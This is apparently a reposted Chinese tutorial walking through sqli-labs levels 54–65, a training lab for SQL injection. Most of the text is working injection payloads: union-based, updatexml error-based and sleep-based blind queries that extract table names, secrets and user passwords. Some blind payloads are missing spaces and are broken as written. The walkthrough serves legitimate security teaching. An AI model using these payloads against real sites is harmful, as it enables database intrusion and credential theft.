保姆级教学之sqli-labs(less54-65)

admin 2025年1月20日08:54:47评论4 views字数 4922阅读16分24秒阅读模式

Challenges

less-54

保姆级教学之sqli-labs(less54-65)less-54开始就是挑战了,需要在10次尝试内得到密钥,超过10次就会重置数据。

输入1',页面回显不正常,猜测是单引号字符型注入

判断闭合符

?id=1' and 1=1--+

判断回显位

?id=-1'union select 1,2,3--+

爆表名

因为数据库名已经在提示中给了,所以我就省略了爆库这一步

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='x018juble0'--+

爆密钥

?id=-1' union select 1,2,group_concat(secret_O1I1) from x018juble0--+

得到密钥后提交即可

保姆级教学之sqli-labs(less54-65)

less-55

判断闭合符

这一关的闭合符有点难判断,我是把常见的符号的试了一下才确定是单括号

?id=1)--+

判断回显位

?id=-1) union select 1,2,3--+

爆表名

?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名

?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='p4p2czkuiu'--+

爆密钥

?id=-1) union select 1,2,group_concat(secret_5R8R) from p4p2czkuiu--+

less-56

也是和前面一样,先判断闭合符再进行联合注入。因为没有报错信息回显判断,所以只能进行试错猜测

判断闭合符

?id=1')--+

判断回显位

?id=-1') union select 1,2,3--+

爆表名

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ekdwgan9zl'--+

爆密钥

?id=-1') union select 1,2,group_concat(secret_Z4CP) from ekdwgan9zl--+

less-57

判断闭合符

?id=1"--+

判断回显位

?id=-1" union select 1,2,3--+

爆表名

?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名

?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='g78nbmx62n'--+

爆密钥

?id=-1" union select 1,2,group_concat(secret_XBLO) from g78nbmx62n--+

less-58

输入1'回显报错信息,根据报错信息,我们可以判断出闭合符是单引号,而且有报错信息意味着可以使用报错注入

爆库名

?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆表名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

爆列名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='hk381aakuz'),0x7e),1)--+

爆密钥

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(secret_W1YQ) from hk381aakuz),0x7e),1)--+

less-59

输入1'回显报错信息,根据报错信息,我们可以判断出数字型注入

爆库名

?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆表名

?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

爆列名

?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lomqcav8h1'),0x7e),1)--+

爆密钥

?id=-1 and updatexml(1,concat(0x7e,(select group_concat(secret_ON17) from lomqcav8h1),0x7e),1)--+

Less-60

输入1"回显报错信息,根据报错信息,我们可以判断出闭合符是")

爆库名

?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆表名

?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

爆列名

?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='vqcru8syjw'),0x7e),1)--+

爆密钥

?id=-1") and updatexml(1,concat(0x7e,(select group_concat(secret_9CQV) from vqcru8syjw),0x7e),1)--+

less-61

输入1'回显报错信息,根据报错信息,我们可以判断出闭合符是'))

爆库名

?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆表名

?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

爆列名

?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='qs0u4vi9n5'),0x7e),1)--+

爆密钥

?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(secret_EZPE) from qs0u4vi9n5),0x7e),1)--+

less-62

保姆级教学之sqli-labs(less54-65)看到限制尝试次数是130次,那这一关就是使用盲注了。

盲注的注入手法是相当繁琐的,如果不使用sqlmap的话,可以使用脚本或者Burpsuite来提高盲注的效率。后面关于盲注的关卡都是只写出payload,猜测第一个字母。

判断闭合符

因为是盲注,可以通过sleep()函数判断出闭合符

?id=1') and sleep(5)--+

爆库名长度

?id=1') and if(length((select database()))=10,sleep(5),1)--+

爆库名

?id=1') and if(ascii(substr((select database()),1,1))=99,sleep(5),1)--+

爆所有表的长度

?id=1') and if(length((selectgroup_concat(table_name) from information_schema.tables where table_schema=database()))=10,sleep(5),1)--+

逐一判断表名

?id=1') and if(ascii(substr((selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=49,sleep(5),1)--+

判断字段长度

?id=1') and if(length((selectgroup_concat(column_name) from information_schema.columns where table_name="爆出的表名"))=20,sleep(5),1)--+

逐一判断字段名

?id=1' and if(ascii(substr((selectgroup_concat(column_name) from information_schema.columns where table_name="爆出的表名"),1,1))=105,sleep(5),1)--+

爆用户数据

?id=1' and if(ascii(substr((selectgroup_concat(username,passwordfromusers),1,1))=68,sleep(5),1)--+

less-63

这一关也是盲注,和上一个的盲注手法是一样的,不同的是闭合符。

判断闭合符

?id=1' and sleep(5)--+

less-64

less-62的盲注手法是一样的,不同的是闭合符。

判断闭合符

?id=1)) and sleep(5)--+

less-65

less-62的盲注手法是一样的,不同的是闭合符。

判断闭合符

?id=1") and sleep(5)--+

原文始发于微信公众号(泷羽Sec-Z1eaf):保姆级教学之sqli-labs(less54-65)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月20日08:54:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   保姆级教学之sqli-labs(less54-65)https://cn-sec.com/archives/3647733.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息